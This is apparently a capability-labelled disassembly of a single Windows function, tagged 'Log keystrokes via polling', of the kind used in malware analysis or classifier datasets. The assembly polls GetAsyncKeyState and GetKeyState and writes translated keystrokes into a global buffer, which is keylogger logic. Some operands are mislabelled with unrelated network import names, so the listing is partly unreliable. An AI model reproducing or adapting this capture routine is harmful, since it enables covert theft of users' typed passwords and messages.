Function at 0x18000776c
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
movzx edi, cx
mov eax, 8
cmp ax, di
jne 0x18000779f
mov eax, dword [0x180060a44]
test eax, eax
jle 0x180007c0d
dec eax
jmp 0x1800077d6
mov edx, 9
cmp dx, di
je 0x180007b06
lea r9d, [rdx + 4]
cmp r9w, di
jne 0x1800077e1
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], r9b
inc ecx
movsxd rax, ecx
mov byte [rax + r8], 0xa
lea eax, [rcx + 1]
mov dword [0x180060a44], eax
jmp 0x180007c0d
mov esi, 0x20
cmp si, di
jne 0x180007802
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], sil
jmp 0x180007b8e
movzx eax, di
mov ebp, gethostbyname
sub ax, bp
cmp ax, dx
ja 0x180007949
lea ecx, [rbp - 0x20]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x1800079b5
mov ecx, edi
cmp edi, 0x35
ja 0x1800078e5
je 0x1800078cd
sub ecx, ebp
je 0x1800078b5
sub ecx, 1
je 0x18000789d
sub ecx, 1
je 0x180007885
sub ecx, 1
je 0x18000786d
cmp ecx, 1
jne 0x180007c0d
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x24
jmp 0x180007b8e
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x23
jmp 0x180007b8e
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x40
jmp 0x180007b8e
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x21
jmp 0x180007b8e
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x29
jmp 0x180007b8e
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x25
jmp 0x180007b8e
sub ecx, 0x36
je 0x180007931
sub ecx, 1
je 0x180007919
sub ecx, 1
je 0x1800079d6
cmp ecx, 1
jne 0x180007c0d
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x28
jmp 0x180007b8e
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x26
jmp 0x180007b8e
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x5e
jmp 0x180007b8e
lea eax, [rdi - 0x41]
cmp ax, 0x19
ja 0x180007990
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, reloc.WS2_32.dll_recv
movzx ebx, ax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
sar ax, 0xf
cmp ax, bx
jne 0x180007985
or dil, sil
mov byte [rcx + r8], dil
inc ecx
jmp 0x180007b90
movzx eax, di
mov ebx, 0x60
sub ax, bx
cmp ax, dx
ja 0x1800079cc
lea ecx, [rbx + 0x30]
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
je 0x180007c0d
sub dil, bpl
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], dil
jmp 0x180007b8e
mov eax, 0x6a
cmp ax, di
jne 0x1800079ee
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x2a
jmp 0x180007b8e
mov eax, WSAGetLastError
cmp ax, di
jne 0x180007a10
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x2b
jmp 0x180007b8e
mov eax, WSAGetLastError
cmp ax, di
jne 0x180007a32
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x2d
jmp 0x180007b8e
mov eax, reloc.WS2_32.dll_WSAGetLastError
cmp ax, di
jne 0x180007a54
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x2f
jmp 0x180007b8e
mov eax, WSAGetLastError
cmp ax, di
jne 0x180007a76
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x2e
jmp 0x180007b8e
mov eax, 0xba
cmp ax, di
jne 0x180007a99
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
not al
and al, 1
or al, 0x3a
jmp 0x180007bf3
mov eax, 0xbb
cmp ax, di
jne 0x180007ac0
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov edx, 0x3d
test ax, ax
lea r9d, [rdx - 0x12]
cmovs edx, r9d
jmp 0x180007b06
mov eax, 0xbc
cmp ax, di
jne 0x180007ae1
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and al, 0x10
or al, 0x2c
jmp 0x180007bf3
mov eax, 0xbd
cmp ax, di
jne 0x180007b1a
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov edx, 0x2d
test ax, ax
lea r8d, [rdx + 0x32]
cmovs edx, r8d
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], dl
jmp 0x180007b8e
mov eax, 0xbe
cmp ax, di
jne 0x180007b3b
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and al, 0x10
or al, 0x2e
jmp 0x180007bf3
mov eax, 0xbf
cmp ax, di
jne 0x180007b5c
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and al, 0x10
or al, 0x2f
jmp 0x180007bf3
mov eax, 0xc0
cmp ax, di
jne 0x180007b98
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
test ax, ax
mov edx, 0x7e
cmovs ebx, edx
mov byte [rcx + r8], bl
inc ecx
mov dword [0x180060a44], ecx
jmp 0x180007c0d
mov eax, 0xdb
cmp ax, di
jne 0x180007bb7
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and al, sil
or al, 0x5b
jmp 0x180007bf3
mov eax, 0xdc
cmp ax, di
jne 0x180007bd6
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and al, sil
or al, 0x5c
jmp 0x180007bf3
mov eax, 0xdd
cmp ax, di
jne 0x180007c0d
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and al, sil
or al, 0x5d
movsxd rdx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rdx + r8], al
inc edx
mov dword [0x180060a44], edx
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret